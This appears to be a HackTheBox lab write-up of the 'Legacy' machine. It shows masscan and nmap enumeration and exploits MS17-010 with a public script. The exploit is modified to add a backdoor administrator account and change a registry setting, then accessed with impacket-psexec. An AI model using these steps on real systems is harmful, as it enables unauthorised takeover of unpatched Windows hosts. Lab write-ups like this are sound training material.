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Legacy

Posted Dec 31, 2023
By Gr4y
10 min read

HTB: Legacy

Overview: Legacy is an easy rated machine on hackthebox, that simply exploits the MS17-010 vulnerability on a server running Microsoft Windows XP SP2 or SP3.

Scanning and Enumeration

  • So we start by scanning for open ports. Using masscan we scan all 65535 TCP ports and we discover 3 open ports
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┌──(kali㉿kali)-[~/HTB/Legacy]
└─$ sudo masscan -p1-65535 10.10.10.4 --rate=1000 -e tun0 > ports
[sudo] password for kali: 
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2023-11-11 11:38:36 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
                                                                                                                                                                       
┌──(kali㉿kali)-[~/HTB/Legacy]
└─$ cat ports    
Discovered open port 135/tcp on 10.10.10.4                                     
Discovered open port 139/tcp on 10.10.10.4                                     
Discovered open port 445/tcp on 10.10.10.4                                     
                                                                                                                                                                       
┌──(kali㉿kali)-[~/HTB/Legacy]
└─$ ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
  • then we enumerate for the services on the open ports
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┌──(kali㉿kali)-[~/HTB/Legacy]
└─$ nmap -Pn -sV -sC -p$ports -oA nmap/legacy_full 10.10.10.4 -v
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-11 06:44 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 06:44
Completed NSE at 06:44, 0.00s elapsed
Initiating NSE at 06:44
Completed NSE at 06:44, 0.00s elapsed
Initiating NSE at 06:44
Completed NSE at 06:44, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 06:44
Completed Parallel DNS resolution of 1 host. at 06:44, 0.05s elapsed
Initiating Connect Scan at 06:44
Scanning 10.10.10.4 [3 ports]
Discovered open port 139/tcp on 10.10.10.4
Discovered open port 445/tcp on 10.10.10.4
Discovered open port 135/tcp on 10.10.10.4
Completed Connect Scan at 06:44, 0.17s elapsed (3 total ports)
Initiating Service scan at 06:44
Scanning 3 services on 10.10.10.4
Completed Service scan at 06:44, 6.73s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.4.
Initiating NSE at 06:44
Completed NSE at 06:44, 10.91s elapsed
Initiating NSE at 06:44
Completed NSE at 06:44, 0.01s elapsed
Initiating NSE at 06:44
Completed NSE at 06:44, 0.02s elapsed
Nmap scan report for 10.10.10.4
Host is up (0.16s latency).

PORT    STATE SERVICE     VERSION
135/tcp open  msrpc       Microsoft Windows RPC
139/tcp open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp open  ���*V      Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
| nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:87:b1 (VMware)
| Names:
|   LEGACY<00>           Flags: <unique><active>
|   HTB<00>              Flags: <group><active>
|   LEGACY<20>           Flags: <unique><active>
|   HTB<1e>              Flags: <group><active>
|   HTB<1d>              Flags: <unique><active>
|_  \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2023-11-16T15:42:13+02:00
|_clock-skew: mean: 5d00h57m38s, deviation: 1h24m50s, median: 4d23h57m38s
  • we then conduct a vulnerability scan using Nmap, and we can see that it is vulnerable to ms17-010
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┌──(kali㉿kali)-[~/HTB/Legacy]
└─$ nmap --script=vuln 10.10.10.4 -p139,445                                                       
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-11 07:06 EST
Nmap scan report for 10.10.10.4
Host is up (0.15s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 18.91 seconds
  • we can enumerate more on SMB and the access to shares
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──(kali㉿kali)-[~/HTB/Legacy]
└─$ nmap --script "safe or smb-enum-*" -p 445 10.10.10.4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-11 07:07 EST
Pre-scan script results:
| targets-asn: 
|_  targets-asn.asn is a mandatory parameter
|_http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
|_hostmap-robtex: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
| broadcast-dropbox-listener: 
| displayname  ip            port   version  host_int             namespaces
|_             192.168.14.1  17500  2.0      1.7596736485754e+38  2589442961
Nmap scan report for 10.10.10.4
Host is up (0.15s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

Host script results:
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2023-11-16T16:05:57+02:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-mbenum: 
|_  ERROR: Call to Browser Service failed with status = 2184
| smb-enum-shares: 
|   note: ERROR: Enumerating shares failed, guessing at common ones (NT_STATUS_ACCESS_DENIED)
|   account_used: <blank>
|   \\10.10.10.4\ADMIN$: 
|     warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|     Anonymous access: <none>
|   \\10.10.10.4\C$: 
|     warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|     Anonymous access: <none>
|   \\10.10.10.4\IPC$: 
|     warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|_    Anonymous access: READ
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| unusual-port: 
|_  WARNING: this script depends on Nmap's service/version detection (-sV)
| port-states: 
|   tcp: 
|_    open: 445
|_fcrdns: FAIL (No PTR record)
| dns-blacklist: 
|   SPAM
|     l2.apews.org - FAIL
|_    dnsbl.inps.de - FAIL
| smb-protocols: 
|   dialects: 
|_    NT LM 0.12 (SMBv1) [dangerous, but default]
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:87:b1 (VMware)
|_msrpc-enum: NT_STATUS_ACCESS_DENIED
|_clock-skew: mean: 5d00h57m38s, deviation: 1h24m50s, median: 4d23h57m38s
|_smb2-capabilities: SMB 2+ not supported

Post-scan script results:
| reverse-index: 
|_  445/tcp: 10.10.10.4
Nmap done: 1 IP address (1 host up) scanned in 160.37 seconds
  • we can also run an OS scan to know what version of Windows is running
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┌──(kali㉿kali)-[~/HTB/Legacy]
└─$ sudo nmap -sV -p445 -O 10.10.10.4
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-11 08:01 EST
Nmap scan report for 10.10.10.4
Host is up (0.16s latency).

PORT    STATE SERVICE      VERSION
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows XP SP2 or SP3 (96%), Microsoft Windows XP SP3 (96%), Microsoft Windows Server 2003 SP1 or SP2 (94%), Microsoft Windows Server 2003 SP2 (94%), Microsoft Windows Server 2003 SP1 (94%), Microsoft Windows 2003 SP2 (94%), Microsoft Windows 2000 SP4 or Windows XP Professional SP1 (93%), Microsoft Windows 2000 (93%), Microsoft Windows 2000 SP4 (93%), Microsoft Windows XP Professional SP2 or Windows Server 2003 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows XP; CPE: cpe:/o:microsoft:windows_xp

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.73 seconds

Exploitation: MS17-010

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┌──(kali㉿kali)-[/opt/MS17-010]
└─$ python2 checker.py 10.10.10.4               
Target OS: Windows 5.1
The target is not patched

=== Testing named pipes ===
spoolss: Ok (32 bit)
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: STATUS_OBJECT_NAME_NOT_FOUND
  • Since the version is of Windows detected in our OS scan is Microsoft Windows XP SP2 or SP3, we utilize the zzz_exploit.py script and this is because it has been tested on that OS. So when we run it, we see that the only thing it does is to create a file pwned.txt in the root C:\ directory
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┌──(kali㉿kali)-[/opt/MS17-010]
└─$ python2 zzz_exploit.py 10.10.10.4 spoolss               
Target OS: Windows 5.1
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x85d54bf8
SESSION: 0xe1088658
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xe177f188
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe177f228
overwriting token UserAndGroups
creating file c:\pwned.txt on the target
Done
  • By examining the exploit script, we can see that’s what it says in the script, what it does is just create the file pwned.txt at line 975

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service_exec(conn, r'cmd /c net user gr4y Password /add')
service_exec(conn, r'cmd /c net localgroup Administrators gr4y /add')
service_exec(conn, r'reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t reg_dword /d 0 /f')
  • so lets add the above lines to the script

  • after doing that, we can then utilize psexec to access the machine using the new account created
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impacket-psexec gr4y:Password@10.10.10.4

  • we can view the root file and also view the user file

ms17-010 smb eternalblue
This post is licensed under CC BY 4.0 by the author.
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